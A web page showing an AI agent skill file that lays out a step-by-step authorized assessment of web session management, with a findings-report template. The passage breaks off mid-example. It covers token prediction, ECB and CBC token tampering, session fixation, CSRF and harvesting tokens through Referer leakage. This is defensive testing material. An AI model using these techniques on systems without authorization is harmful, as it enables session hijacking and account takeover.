Skills
7030 foundAgent Skills are multi-file prompts that give AI agents specialized capabilities. They include instructions, configurations, and supporting files that can be used with Claude, Cursor, Windsurf, and other AI coding assistants.
Systematically assess web application session management for security vulnerabilities. Use when testing session token generation quality, cookie security con...
---
name: session-management-security-assessment
description: |
Systematically assess web application session management for security vulnerabilities. Use when testing session token generation quality, cookie security configuration, session fixation susceptibility, cross-site request forgery (CSRF) exposure, or session token handling across a session's full lifecycle. Covers the complete taxonomy of generation weaknesses (meaningful tokens with user data embedded, predictable tokens from concealed sequences or time-dependent algorithms or weak pseudorandom number generators, encrypted tokens vulnerable to ECB block rearrangement or CBC bit-flipping) and handling weaknesses (cleartext transmission, token disclosure in server logs or URLs, vulnerable token-to-session mapping, ineffective logout and expiration, client-side hijacking exposure, overly liberal cookie domain or path scope). Use when someone says 'test our session tokens', 'analyze cookie security', 'check for session fixation', 'verify CSRF protection', 'assess token predictability', 'evaluate our session management', 'can session tokens be guessed', 'review logout implementation', 'check cookie flags', or 'audit session security'. Produces a structured vulnerability report with per-weakness findings and remediation guidance. Framed for authorized security testing, defensive security assessment, and educational contexts.
model: sonnet
context: 1M
execution:
tier: 2
mode: hybrid
inputs:
- type: codebase
description: "Source code, HTTP traffic captures, server configuration, security scan reports"
- type: none
description: "Can also operate from live application access in an authorized test environment"
tools-required: [Read, TodoWrite]
tools-optional: [Grep, Bash, WebFetch]
environment: "Authorized penetration test or security assessment environment; codebase or HTTP proxy history preferred"
---
# Session Management Security Assessment
## When to Use
Use this skill when you are conducting an **authorized security assessment** of a web application's session management mechanism. Applicable contexts:
- **Penetration testing** — systematically finding exploitable session weaknesses before an attacker does
- **Security code review** — evaluating session token generation logic, cookie configuration, and lifecycle management in source code
- **Security architecture review** — assessing whether the session design meets security requirements before deployment
- **Vulnerability verification** — confirming or ruling out reported session issues with structured test evidence
This skill covers two orthogonal vulnerability classes: weaknesses in how tokens are **generated** (can an attacker predict or derive tokens issued to other users?) and weaknesses in how tokens are **handled** after generation (can an attacker obtain or misuse tokens through network capture, log access, fixation, or client-side attacks?).
**Preconditions:** You have at least one of:
- Source code including session token generation logic
- HTTP proxy history from an authenticated walkthrough of the application
- Live authorized access to a test instance of the application
**Agent:** This assessment requires authorized access. Confirm scope authorization before beginning any active testing steps. Do not perform active token capture or manipulation against systems you are not authorized to test.
## Context & Input Gathering
### Input Sufficiency Check
```
User prompt → Extract: application under test, scope authorization, available artifacts
↓
Environment → Scan for: source files, HTTP logs, config files, cookie headers
↓
Gap analysis → Do I know WHAT to test and DO I have authorized access?
↓
Missing critical info? ──YES──→ ASK (one question at a time)
│
NO
↓
Confirm authorization → PROCEED with systematic assessment
```
### Required Context (must have — ask if missing)
- **Authorization confirmation:** Is this assessment authorized? Who authorized it and for which systems?
→ Without this, do not proceed with active testing steps.
- **Application identity:** Which application or endpoint is being assessed?
→ Check prompt for: URL, application name, repository path, or system description.
- **Available artifacts:** What artifacts are available — source code, HTTP proxy history, live access?
→ This determines which assessment steps can be performed with full confidence vs inferred.
### Observable Context (gather from environment)
- **Session token location:** How is the session token transmitted? Cookie, URL parameter, hidden form field, custom header?
→ Grep for: `Set-Cookie`, `sessionId`, `jsessionid`, `PHPSESSID`, `ASP.NET_SessionId`, `token=` in URL patterns
→ WHY: The transmission mechanism determines which handling weakness tests apply (e.g., URL transmission exposes to log disclosure; cookies expose to scope and flag issues).
- **Token generation code:** Where and how are tokens generated?
→ Grep for: `Random`, `SecureRandom`, `uuid`, `session_start`, `generateToken`, `Math.random`, `rand()`
→ WHY: Generation code reveals whether the source of entropy is cryptographically secure.
- **Cookie attributes:** What flags are set on session cookies?
→ Grep for: `Secure`, `HttpOnly`, `SameSite`, `domain=`, `path=` in `Set-Cookie` headers or config
→ WHY: Missing `Secure` flag allows cleartext transmission; missing `HttpOnly` enables JavaScript access; overly broad `domain=` widens attack surface.
- **Session lifecycle code:** How are sessions created, refreshed, and destroyed?
→ Grep for: login handlers, logout endpoints, session invalidation calls (`session.invalidate()`, `session_destroy()`, `Session.Abandon()`)
→ WHY: Lifecycle gaps (no token rotation on login, no server-side invalidation on logout) are independent of token strength.
### Default Assumptions
- If transport protocol is not confirmed: assume mixed HTTP/HTTPS until verified — do not assume HTTPS everywhere without checking.
- If cookie flags are not visible: assume absent until confirmed present in `Set-Cookie` response headers.
- If logout implementation is unclear: test server-side invalidation explicitly — client-side cookie deletion is not sufficient.
## Process
Use `TodoWrite` to track assessment steps before beginning.
```
TodoWrite([
{ id: "1", content: "Identify session token(s) and transmission mechanism", status: "pending" },
{ id: "2", content: "Assess token generation: meaningful token analysis", status: "pending" },
{ id: "3", content: "Assess token generation: predictability analysis (concealed sequences, time dependency, weak PRNG)", status: "pending" },
{ id: "4", content: "Assess token generation: encrypted token analysis (ECB block rearrangement, CBC bit-flipping)", status: "pending" },
{ id: "5", content: "Run statistical randomness analysis via Burp Sequencer protocol", status: "pending" },
{ id: "6", content: "Assess token handling: network disclosure (HTTPS coverage, Secure flag, HTTP downgrade paths)", status: "pending" },
{ id: "7", content: "Assess token handling: log disclosure (URL-based tokens, admin monitoring exposure)", status: "pending" },
{ id: "8", content: "Assess token handling: token-to-session mapping (concurrent sessions, static tokens)", status: "pending" },
{ id: "9", content: "Assess token handling: session termination (expiration timeout, logout server-side invalidation)", status: "pending" },
{ id: "10", content: "Assess token handling: session fixation (4 test cases)", status: "pending" },
{ id: "11", content: "Assess token handling: CSRF exposure", status: "pending" },
{ id: "12", content: "Assess token handling: cookie scope (domain and path attributes)", status: "pending" },
{ id: "13", content: "Compile findings report with severity ratings and remediation", status: "pending" }
])
```
---
### Step 1: Identify Session Tokens and Transmission Mechanism
**ACTION:** Identify every item of data that functions as a session token. Do not assume the standard platform cookie is the only token — applications often use multiple items across cookies, URL parameters, and hidden form fields. Confirm which items are actually validated by the server for session state.
**WHY:** Applications may employ several items collectively as a token, using different components for different back-end subsystems. The standard session cookie generated by the web server may be present but not actually used. Additionally, an item that appears to be a session token may be ignored by the server, meaning its modification would go undetected — a finding in itself. Narrowing the actual validated components reduces wasted analysis effort on inert data.
**Detection method:**
1. Walk through the application from the start URL through the login function. Note every new item passed to the browser.
2. Find a page that is definitively session-dependent (e.g., "My Account" or "My Details") — one that returns content specific to the authenticated user.
3. Make repeated requests to that page, systematically removing each suspected token item. If removing an item causes the session-dependent content to disappear or redirect to login, the item is confirmed as a session token.
4. Use Burp Repeater or equivalent to perform this systematically.
**Also check for alternatives to sessions:**
- If token-like items are 100+ bytes, re-issued on every request, and appear encrypted or signed, the application may use sessionless state (transmitting all session data client-side). These require different testing — check for integrity protection and replay resistance rather than token prediction.
- If the application uses HTTP Basic/Digest/NTLM authentication without session cookies, session management attacks may not apply.
Mark Step 1 complete in TodoWrite.
---
### Step 2: Assess Token Generation — Meaningful Tokens
**ACTION:** Determine whether session tokens encode user-identifiable or predictable information (username, email, user ID, role, timestamp, IP address) in raw, encoded, or obfuscated form.
**WHY:** A token that encodes the username — even if hex-encoded or Base64-encoded — allows an attacker to construct valid tokens for any known user without interacting with the server. The apparent complexity of the token string is irrelevant if the underlying data is structured and user-specific.
**Test procedure:**
1. Obtain tokens for multiple different users by logging in with different accounts (use accounts with similar but slightly varying usernames: A, AA, AAA, AAAB, etc., to isolate the username component in the token).
2. Apply progressive decodings to each token and its components: hex decode → Base64 decode → XOR decode. Look for recognizable strings (usernames, email patterns, dates).
3. Look for structural indicators: only hexadecimal characters (possible hex encoding of ASCII), trailing `=` signs or charset `a-z A-Z 0-9 +/` (Base64 signatures), repeated character sequences matching username length.
4. Analyze correlations: do tokens for similar usernames share substrings? Does the token length vary with username length?
5. If tokens appear structured (delimiter-separated components), analyze each component independently. Some components may be random while others are meaningful.
**If meaning is found:**
- Determine whether the meaningful component is actually validated by the server (Step 1 procedure: modify that component and verify rejection).
- If validated: the application is directly vulnerable — an attacker can enumerate valid tokens for known usernames.
- If not validated: the component is decorative padding; remove it from further analysis.
Mark Step 2 complete in TodoWrite.
---
### Step 3: Assess Token Generation — Predictability
**ACTION:** Assess whether token values follow sequences that allow extrapolation to other users' tokens, even when the tokens do not contain meaningful user data. Investigate three predictability sources: concealed sequences, time dependency, and weak pseudorandom number generator (PRNG) output.
**WHY:** A token without meaningful user data can still be predictable if it follows an arithmetic sequence or is derived from observable inputs like the current time. An attacker who obtains a sample of tokens can reverse-engineer the generation algorithm and construct tokens issued to other users — without needing any user-specific information.
**3a. Concealed Sequences**
Tokens may appear random in raw form but reveal arithmetic sequences after decoding. Test:
1. Collect 10–20 consecutive tokens by rapidly triggering new session creation.
2. Apply decodings (Base64, hex) to each token and each structural component.
3. If the decoded output is binary, render as hexadecimal integers and compute differences between successive values.
4. Look for a repeating difference — this reveals the increment constant of the generation algorithm.
5. Once the constant is known, the full token sequence (past and future) is reconstructable.
**3b. Time Dependency**
Some token generation algorithms incorporate the current time (epoch milliseconds, microseconds) as a primary input. Test:
1. Collect two batches of tokens separated by a known time interval (e.g., 5–10 minutes apart).
2. In each batch, identify any component that increases monotonically but in variable increments.
3. Compare the difference between the last value of the first batch and the first value of the second batch. If the jump is consistent with the elapsed time (e.g., ~540,000 units in 9 minutes implies milliseconds), the component is time-based.
4. If source code is available, look for `System.currentTimeMillis()`, `time()`, `microtime()`, `Date.now()`, or similar time sources used in token construction.
5. Time-based components are brute-forceable: the range of valid values for a given user's token is bounded by the window of time around the user's login.
**3c. Weak PRNG**
Linear congruential generators (LCGs), `Math.random()`, `java.util.Random`, PHP's `rand()`, and similar non-cryptographic PRNGs produce sequences that are fully predictable from a small sample of output values. The next value (and all previous values) can be derived algebraically. Test:
1. If source code is available, check what randomness source is used: `SecureRandom`, `os.urandom`, `/dev/urandom`, `CryptGenRandom` are strong. `Random`, `Math.random()`, `rand()`, `mt_rand()` are weak.
2. If source code is unavailable, use Burp Sequencer statistical analysis (see Step 5) to measure effective entropy — weak PRNGs fail at many bit positions even when individual tokens appear visually random.
3. Check whether multiple PRNG outputs are concatenated to form a longer token. This is a common misconception: it does not increase entropy beyond the PRNG's internal state size, and may make state reconstruction easier by providing more sample values.
Mark Step 3 complete in TodoWrite.
---
### Step 4: Assess Token Generation — Encrypted Tokens
**ACTION:** Determine whether tokens are encrypted containers for meaningful data, and if so, test for ECB block rearrangement and CBC bit-flipping vulnerabilities.
**WHY:** Applications that encrypt meaningful session data (user ID, role, username) before issuing it as a token assume that encryption prevents tampering. This assumption fails for ECB ciphers (where ciphertext blocks can be rearranged to produce a different plaintext without knowing the key) and CBC ciphers (where bit-flipping a ciphertext byte produces predictable, controlled changes in the subsequent decrypted block).
**Detection — is a block cipher being used?**
1. Register accounts with usernames of increasing length (e.g., 1 character, 2 characters, etc., up to 20+ characters).
2. Monitor session token length. If the token length jumps by 8 or 16 bytes at a specific username length, a block cipher with 64-bit or 128-bit blocks is likely in use (8 bytes = 64-bit block cipher such as DES, 3DES; 16 bytes = 128-bit block cipher such as AES).
3. Confirm by continuing to add characters and observing the same jump occurring again 8 or 16 characters later.
**ECB mode test:**
1. ECB encrypts identical plaintext blocks into identical ciphertext blocks. Rearranging ciphertext blocks causes the corresponding plaintext blocks to be rearranged.
2. Register usernames specifically crafted so that one block of the username (at a known offset) aligns with a block containing a high-privilege field (e.g., UID or role field) in the token plaintext.
3. Duplicate that ciphertext block and insert it at the position of the target field.
4. Submit the modified token. If the application processes the request in the security context of a different user (or with elevated privileges), the ECB rearrangement attack succeeded.
5. Blind approach (no source code): try duplicating and moving ciphertext blocks, observing whether you remain logged in as yourself, become a different user, or are rejected.
**CBC mode test (bit-flipping):**
1. CBC decryption: flipping a bit in ciphertext block N corrupts block N entirely during decryption (renders it as garbage) but causes a predictable, controlled bit-flip in the corresponding position of block N+1's plaintext.
2. Use Burp Intruder's "bit flipper" payload type on the session token (treating it as ASCII hex). This generates ~8 requests per byte of token data — efficient for coverage.
3. Monitor responses for: (a) continued valid session but with a different user identity displayed (bit-flip hit a UID or role field in the following block), or (b) responses that indicate the application is processing corrupted but accepted token data.
4. When a bit-flip causes user context to change: perform a focused attack on that block position, iterating through a wider range of values to reach a target user ID or role.
5. Note: if the application rejects tokens containing invalid field values (e.g., non-numeric UID), the attack may be impractical. If the application only validates certain fields (e.g., only the UID), the attack targets those fields.
Mark Step 4 complete in TodoWrite.
---
### Step 5: Statistical Randomness Analysis — Burp Sequencer Protocol
**ACTION:** Run a structured statistical randomness test on the session token to quantify effective entropy in bits. This is the authoritative test for token generation quality when visual inspection or manual decoding does not reveal a pattern.
**WHY:** A token that passes visual inspection and manual analysis may still fail formal statistical randomness tests. Conversely, a token that fails statistical tests may not be practically predictable if the failing bits are sparse across many positions. The key metric is effective entropy (bits of the token that pass randomness tests): a 50-bit token with 50 random bits is equivalent to a 1,000-bit token with only 50 random bits.
**Collection protocol:**
1. Identify the request that issues a new session token (typically: `GET /` unauthenticated, or `POST /login` after authentication). Send this request to Burp Sequencer via the context menu.
2. Configure Sequencer: select the cookie name or form field containing the session token; set boundary markers if using manual selection.
3. Enable "auto analyse" to trigger analysis at intervals.
4. **Sample size milestones:**
- 100 tokens: minimum for any analysis. Collect before reviewing results in detail.
- 500 tokens: sufficient to detect clear failures. If analysis at this point shows convincing failures, no need to continue.
- 5,000 tokens: adequate for most assessments; tokens that pass here are unlikely to be practically predictable.
- 20,000 tokens: required for full FIPS 140-2 compliance testing. Maximum sample size Burp Sequencer supports.
5. If source IP or username influences token generation, repeat token collection from a different IP address and/or username and compare results to isolate IP/username as an entropy source.
**Interpreting Burp Sequencer results:**
- **Effective entropy (bits):** The headline result. Values below 64 bits indicate weakness for most application contexts; below 32 bits is critically weak.
- **FIPS test results:** Six standardized tests (monobit, poker, runs, long runs, serial correlation, spectral). Failing multiple FIPS tests at many bit positions indicates structural non-randomness.
- **Character-level vs bit-level analysis:** Burp tests at both levels. Large structured portions of a token (e.g., a fixed prefix, a user ID field) are not random — this is expected and not a vulnerability in itself. What matters is whether the random portion provides sufficient entropy.
**Important caveats:**
- A token generated by a weak but algorithmically deterministic PRNG (e.g., a linear congruential generator) may pass all statistical tests while being fully predictable from a small sample. Statistical tests measure distribution, not algorithmic predictability.
- A token that fails statistical tests at a few bit positions may not be practically exploitable if the failure involves only a small number of bits that an attacker would need to simultaneously predict correctly.
Mark Step 5 complete in TodoWrite.
---
### Step 6: Assess Token Handling — Network Disclosure
**ACTION:** Verify that session tokens are never transmitted in cleartext over unencrypted HTTP, and that cookie `Secure` flags are correctly set to enforce this.
**WHY:** A network eavesdropper positioned at any point between client and server — the user's local network, corporate network, ISP, hosting provider — can capture cleartext HTTP traffic. A captured session token grants full session access without knowing user credentials. Even applications that use HTTPS for most content frequently have specific paths (static assets, pre-authentication pages, login forms that accept HTTP) that leak the session token.
**Test procedure:**
1. Walk through the complete application lifecycle: unauthenticated access (start URL), login process, all authenticated functionality. Record every URL and every instance in which a new session token is received or existing token is transmitted. Use Burp Proxy HTTP history for this.
2. Check `Set-Cookie` headers for the `Secure` flag. If `Secure` is absent, the browser will transmit the cookie over HTTP to any path/domain match, including unencrypted requests.
3. Verify whether the application switches from HTTP to HTTPS at any point. If it does:
a. Check whether a session token issued before the HTTPS switch is reused in the authenticated session (pre-authentication token reuse).
b. Verify whether the application also accepts login over plain HTTP if the login URL is accessed directly with `http://` instead of `https://`.
4. Even if HTTPS is used everywhere for the application itself: verify whether the server also listens on port 80. If so, visit any authenticated page URL using `http://` and check whether the token is transmitted.
5. If any static content (images, scripts, stylesheets) is loaded over HTTP from within an HTTPS-delivered page, the session cookie is transmitted with those HTTP requests (no `Secure` flag) or the browser warns (mixed content). Treat either as a vulnerability.
6. If a token for an authenticated session is transmitted over HTTP: verify whether the server immediately invalidates that token upon detecting the insecure transmission. If not, the token remains valid for hijacking.
Mark Step 6 complete in TodoWrite.
---
### Step 7: Assess Token Handling — Log Disclosure
**ACTION:** Identify whether session tokens can be read from system logs, monitoring interfaces, or referrer headers due to token transmission in URLs.
**WHY:** URL-embedded session tokens appear in: web server access logs, browser history, corporate proxy logs, ISP proxy logs, `Referer` headers sent to third-party servers when the user follows an off-site link from within the authenticated session. Log disclosure differs from network disclosure in that it is often accessible to a much wider range of insiders (helpdesk, IT operations, log aggregation system users) and persists across time.
**Test procedure:**
1. Walk through all application functionality and identify any instances where session tokens appear in URL query strings or path components (e.g., `jsessionid=` in the URL path, `token=` in query parameters). Grep for: `inurl:jsessionid`, `?token=`, `?session=` patterns in captured traffic.
2. Identify any administrative, helpdesk, or diagnostic functionality within the application that allows viewing user sessions. Access that functionality with your test account and check whether the actual session token value is displayed. If it is, verify who can access this functionality — anonymous users, any authenticated user, or only administrators.
3. If tokens appear in URLs: attempt to inject an off-site link (via any user-controlled content feature — message boards, profile fields, feedback forms). Monitor the attacker-controlled server's access logs for incoming `Referer` headers containing session tokens from other users.
Mark Step 7 complete in TodoWrite.
---
### Step 8: Assess Token Handling — Vulnerable Token-to-Session Mapping
**ACTION:** Test whether the application correctly maps tokens to sessions, preventing concurrent session abuse and static token reuse.
**WHY:** Even a cryptographically strong token is useless as a security control if the application accepts multiple concurrent valid tokens for the same user, or issues the same token on every login ("static tokens"). Concurrent sessions allow an attacker who has obtained credentials to use a captured token undetected while the legitimate user is also logged in. Static tokens are permanent access credentials, not sessions — compromising them compromises the account permanently.
**Test procedure:**
1. **Concurrent session test:** Log in to the application twice simultaneously using the same user account, from different browser processes or machines. Determine whether both sessions remain active concurrently. If yes: concurrent sessions are permitted. An attacker who has compromised credentials can use them without triggering a conflict.
2. **Static token test:** Log in and log out of the same account multiple times, from different browser processes or machines. Record the session token issued on each login. If the same token is issued on every login: the application is using static tokens. These are not sessions in the security sense — they function as permanent credentials.
3. **Segmented token test (structured tokens only):** If tokens contain both user-identifying components and apparently random components, modify the user-identifying component to refer to a different known user while submitting any valid random component. If the server accepts the modified token and processes the request in the context of the different user: the application has a fundamental token-to-session mapping vulnerability (the user context is determined by user-supplied data outside the session).
Mark Step 8 complete in TodoWrite.
---
### Step 9: Assess Token Handling — Session Termination
**ACTION:** Verify that sessions expire after an appropriate inactivity timeout and that logout actually invalidates the session on the server side.
**WHY:** A long-lived session token extends the attack window — if a token is captured or guessed, it remains valid for use. A logout function that only deletes the browser cookie without invalidating the server-side session is functionally equivalent to no logout: anyone who captured the token before logout can still use it indefinitely. Client-side cookie blanking is not server-side invalidation.
**Test procedure:**
1. **Inactivity timeout test:**
a. Log in and obtain a valid session token.
b. Wait for the intended inactivity period without making any requests (e.g., 10–30 minutes, depending on the application's stated policy).
c. Submit a request for a protected page using the token.
d. If the page renders normally: the inactivity timeout is not enforced or is longer than expected.
e. Use Burp Intruder to automate: configure increasing time intervals between successive requests using the same token to find the timeout boundary.
2. **Logout invalidation test:**
a. Log in and record a session-dependent request (e.g., GET to "My Account") in Burp Proxy history.
b. Perform the logout action in the application.
c. Send the recorded session-dependent request again using the pre-logout token (via Burp Repeater).
d. If the session-dependent page renders successfully: the logout did not invalidate the server-side session.
3. **Client-side vs server-side test:** Examine what the logout response actually does: does it issue a `Set-Cookie` with a blank or expired token value (client-side only), or does it call a server-side invalidation function? Source code review is definitive. If no source code: the Repeater test in step 2 is authoritative.
Mark Step 9 complete in TodoWrite.
---
### Step 10: Assess Token Handling — Session Fixation
**ACTION:** Test four specific scenarios that determine whether an attacker can fix a known token value for a victim, then escalate to authenticated access after the victim logs in.
**WHY:** Session fixation attacks are possible when an application accepts tokens that it did not itself issue, or when it reuses pre-authentication tokens as post-authentication tokens. The attacker supplies a token to the victim (via URL parameter, cookie injection, or simply knowing the format), the victim logs in, and the attacker then uses the known token to access the victim's authenticated session.
**Test procedure — four test cases:**
1. **Pre-authentication token reuse:** If the application issues session tokens to unauthenticated users (e.g., to track anonymous shopping carts), obtain an unauthenticated token and perform a login. If the application does not issue a new token after successful authentication: it is vulnerable. An attacker can obtain an anonymous token, force the victim to use it (URL fixation), and after the victim logs in, use the same token.
2. **Return-to-login token reuse:** Log in to obtain an authenticated token. Return to the login page. If the application serves the login page without issuing a new token (the existing authenticated token is still active): log in again as a different user using the same token. If the application does not issue a new token on the second login: it is vulnerable to fixation between accounts.
3. **Attacker-supplied token acceptance:** Identify the format of valid tokens (from Step 1). Construct a token that conforms to the format (correct length, character set) but is an invented value the application did not issue. Attempt to log in while submitting this invented token in the expected location. If the application creates an authenticated session tied to the invented token: the application accepts attacker-supplied tokens, enabling fixation.
4. **Sensitive data fixation (non-login applications):** If the application does not use authentication but processes sensitive user data (e.g., payment forms, personal details), apply test cases 1 and 3 in relation to the pages that display submitted sensitive data. If a token set during anonymous usage can be used by another party to retrieve that user's sensitive data: the application is vulnerable to fixation against non-authenticated sensitive operations.
**Cross-site request forgery (CSRF) check:**
If the application transmits session tokens via cookies: confirm whether it is protected against CSRF.
1. Log in to the application and identify state-changing operations whose parameters an attacker could determine in advance (fund transfers, password changes, data deletions).
2. From a different browser tab or window in the same browser process, construct a request to that operation (via a crafted form or link) that would originate from a page on a different domain.
3. If the application processes the cross-origin request and executes the state change: it is vulnerable to CSRF. The browser submits the cookie automatically regardless of the request origin.
4. Check for CSRF tokens: does the application include a per-request unpredictable token in a hidden form field or custom header that the server validates? If the application relies solely on cookies and has no CSRF token: assume vulnerable.
Mark Step 10 complete in TodoWrite.
---
### Step 11: Assess Token Handling — Cookie Scope
**ACTION:** Review all `Set-Cookie` response headers for `domain` and `path` attributes. Determine whether cookie scope is more permissive than necessary, exposing session tokens to other applications or subdomains.
**WHY:** A cookie scoped to `wahh-organization.com` is submitted to every subdomain of that organization — including test environments, staging systems, and other applications that may have lower security standards or be accessible to different personnel. A cross-site scripting vulnerability in any application within the cookie's scope can steal tokens from the main application. Cookie scope is often configured at the platform level (web server defaults) rather than by application developers, so it may be unnecessarily broad.
**Test procedure:**
1. Review all `Set-Cookie` headers issued by the application across the full application walkthrough. Note the `domain` and `path` values for session token cookies.
2. If `domain` is set: it is more permissive than the default (which scopes cookies to the exact hostname). Identify all subdomains and applications within the specified domain. Any of these can receive the session cookie.
3. If no `domain` is set: by default, the browser scopes the cookie to the exact hostname. However, subdomains still receive the cookie (e.g., a cookie set by `app.example.com` with no domain attribute is still sent to `app.example.com`, not to `other.example.com`, but default behavior differs by browser implementation — verify).
4. If `path` is set to `/` or a broad path: path-based scope restriction provides no meaningful security separation between applications at different URL paths on the same hostname. Client-side JavaScript at any path on the same origin can read cookies regardless of `path` attribute.
5. Identify all web applications accessible via the domains that will receive the session cookie. Assess their security posture — a stored cross-site scripting vulnerability in any of them could steal tokens from the primary application.
Mark Step 11 complete in TodoWrite.
---
### Step 12: Compile Findings Report
**ACTION:** Consolidate all findings from Steps 2–11 into a structured vulnerability report with severity ratings and remediation guidance.
**WHY:** A finding without remediation guidance is incomplete. Each vulnerability class has a corresponding countermeasure; mapping findings to remediations allows the development team to act without additional research.
**HANDOFF TO HUMAN** — the agent produces the report; the security team or development team prioritizes and implements remediations.
**Report format:**
```markdown
# Session Management Security Assessment Report
## Assessment Scope
[Application name, test date, authorization basis, artifacts reviewed]
## Session Token Identification
[Which items function as session tokens, transmission mechanism, alternatives-to-sessions assessment]
## Part 1: Token Generation Weaknesses
### G1: Meaningful Token Content
**Finding:** [Present / Not detected]
**Evidence:** [Decoded token values, correlation with user data]
**Severity:** [Critical if exploitable | Informational if not validated by server]
**Remediation:** Tokens should be opaque server-generated identifiers. Move all session data to server-side session storage. Never encode user-identifiable data in tokens.
### G2: Predictable Token Sequences
**Finding:** [Present / Not detected — specify: concealed sequence / time dependency / weak PRNG]
**Evidence:** [Sample tokens, decoded sequences, difference analysis, PRNG identification]
**Severity:** [Critical if directly exploitable | High if requires timing correlation]
**Remediation:** Use a cryptographically secure PRNG (CSPRNG) seeded from a high-entropy source (e.g., `SecureRandom`, `os.urandom`, `CryptGenRandom`). Do not use time as a primary entropy source. Do not use linear congruential generators.
### G3: Encrypted Token Vulnerabilities
**Finding:** [ECB block rearrangement / CBC bit-flipping / Not detected]
**Evidence:** [Block cipher detection evidence, manipulation results]
**Severity:** [High — privilege escalation or cross-user access]
**Remediation:** Tokens should not encode sensitive data at all. If encrypted tokens are required, use authenticated encryption (AES-GCM, ChaCha20-Poly1305) to detect any ciphertext modification. Do not use ECB mode. Verify that the entire ciphertext is authenticated before processing any field.
### G4: Statistical Entropy Assessment (Burp Sequencer)
**Finding:** [Effective entropy: X bits. FIPS tests: passed/failed. Notable failures: ...]
**Severity:** [Critical if < 32 bits effective | High if < 64 bits | Low if >= 128 bits]
**Remediation:** Target >= 128 bits of effective entropy. Use platform-provided session management (mature frameworks implement this correctly) rather than custom token generation.
## Part 2: Token Handling Weaknesses
### H1: Network Disclosure
**Finding:** [Cleartext transmission detected / Secure flag absent / HTTP downgrade path found / Not detected]
**Remediation:** Transmit tokens exclusively over HTTPS. Set `Secure` flag on all session cookies. Use HSTS. Redirect HTTP to HTTPS and invalidate any token transmitted over HTTP. Issue a fresh token after the HTTP-to-HTTPS transition.
### H2: Log Disclosure
**Finding:** [Token in URL / Admin monitoring exposes token / Not detected]
**Remediation:** Never transmit session tokens in URL query strings or path components. Use POST for token submission or store in cookies. Administrative monitoring functions should display session metadata (user ID, IP, login time) without exposing the token value itself.
### H3: Vulnerable Token-to-Session Mapping
**Finding:** [Concurrent sessions permitted / Static tokens / Segmented token vulnerability / Not detected]
**Remediation:** Issue a unique token per session. Invalidate all existing sessions when a new login occurs (or alert the user of concurrent access). Never reissue the same token to the same user across separate login events.
### H4: Vulnerable Session Termination
**Finding:** [No inactivity timeout / Logout does not invalidate server-side / Client-side-only cookie deletion / Not detected]
**Remediation:** Implement server-side session invalidation on logout that disposes of all session resources and marks the token as invalid. Implement server-side inactivity timeout (10–30 minutes is typical; match business requirements). Do not rely on client-side cookie deletion as the primary termination mechanism.
### H5: Session Fixation
**Finding:** [Pre-authentication token reused / Return-to-login reuse / Attacker-supplied token accepted / Sensitive data fixation / Not detected]
**Remediation:** Issue a fresh session token immediately after successful authentication. Reject tokens that the server did not itself generate. For non-authenticated sensitive data flows, create a new session at the start of the sensitive data sequence.
### H6: Cross-Site Request Forgery
**Finding:** [Vulnerable — state-changing operations accept cross-origin requests without CSRF token / Not detected]
**Remediation:** Implement per-request CSRF tokens in hidden form fields. Validate the CSRF token on every state-changing request. Consider using the `SameSite=Strict` or `SameSite=Lax` cookie attribute. Require re-authentication before critical operations (fund transfers, password changes).
### H7: Overly Liberal Cookie Scope
**Finding:** [Domain attribute broadens scope to: [list domains] / Path attribute is ineffective for security isolation / Not detected]
**Remediation:** Do not set `domain` attribute unless required — the default (exact hostname) is more restrictive. If subdomains must receive the cookie, audit every subdomain for cross-site scripting and other vulnerabilities. Set cookie scope as restrictively as feasible. Prefer `HttpOnly` to reduce JavaScript access.
## Summary
| # | Weakness | Severity | Status |
|---|----------|----------|--------|
| G1 | Meaningful token content | | |
| G2 | Predictable sequences | | |
| G3 | Encrypted token vulnerability | | |
| G4 | Insufficient entropy | | |
| H1 | Network disclosure | | |
| H2 | Log disclosure | | |
| H3 | Token-to-session mapping | | |
| H4 | Session termination | | |
| H5 | Session fixation | | |
| H6 | CSRF | | |
| H7 | Cookie scope | | |
**Priority remediations:**
1. [Most critical — typically: token generation or network disclosure]
2. [Second priority]
3. [Third priority]
**Positive findings:** [Aspects confirmed secure]
```
Mark Step 12 complete in TodoWrite.
## Key Principles
- **Token generation and token handling are independent failure dimensions.** A cryptographically strong token can still be stolen via network interception, log exposure, or session fixation. A token that is never disclosed can still be useless as a security control if the session lifecycle is broken. Assess both dimensions fully, not just whichever is easier.
- **Statistical randomness tests do not prove cryptographic security.** A deterministic algorithm (linear congruential generator, hash of sequential counter) can produce output that passes all FIPS statistical tests while being perfectly predictable by an attacker who knows the algorithm. Effective entropy is a necessary condition, not a sufficient one. Always investigate the generation algorithm in source code when available.
- **Passing visual inspection is not passing a security test.** Session tokens that "look random" to the eye have repeatedly proven predictable under analysis. Structured statistical analysis (Burp Sequencer at 500+ tokens) and algorithmic analysis (source code review) are required for a defensible assessment.
- **The Secure flag and HTTPS coverage must both be confirmed.** An application that uses HTTPS for all its own pages but loads a single static resource over HTTP exposes the session cookie to network capture on that one HTTP request. Coverage must be total, not partial.
- **Server-side invalidation is the only valid form of logout.** Any logout implementation that relies solely on the client deleting its cookie provides no security against an attacker who has already captured the token. Test logout by replaying a captured pre-logout request after the logout action.
- **Cookie scope is often set at the platform level, not the application level.** Platform defaults may scope cookies to a parent domain across all subdomains. The developer may be unaware. Always check `domain` and `path` attributes explicitly in the `Set-Cookie` response headers, not in application code.
- **Encrypted tokens are not safe from tampering without authentication.** ECB mode allows block rearrangement without decryption. CBC mode allows controlled plaintext modification without decryption. Only authenticated encryption (AEAD) prevents ciphertext manipulation. If tokens must encrypt meaningful data, AES-GCM with verification of the authentication tag before any field is processed is the minimum acceptable approach.
## Examples
**Scenario: E-commerce application — suspected meaningful token**
Trigger: "Our session tokens look like random hex strings but I want to verify they don't encode user data."
Process:
1. Collect tokens for 5 test accounts: usernames `a`, `aa`, `aaa`, `b`, `[email protected]`.
2. Hex-decode each token. Token for `[email protected]` decodes to a semicolon-delimited string: `[email protected];app=shop;date=2026-04-06`. This is a meaningful token.
3. Verify: modify the `user=` component to a different registered email. Submit to a session-dependent page. Application responds with the other user's account data.
4. Confirmed: meaningful token content, directly exploitable for horizontal privilege escalation across all registered accounts.
Output: Critical G1 finding. Remediation: move to opaque server-generated session identifiers; store all session data server-side.
---
**Scenario: Banking application — logout verification**
Trigger: "Verify whether our logout actually terminates sessions."
Process:
1. Log in, navigate to "My Account" page. Record the GET request in Burp Proxy.
2. Send that GET request to Burp Repeater. Confirm it returns account data.
3. Perform logout action via the application UI.
4. In Burp Repeater, re-send the same GET request with the pre-logout session cookie.
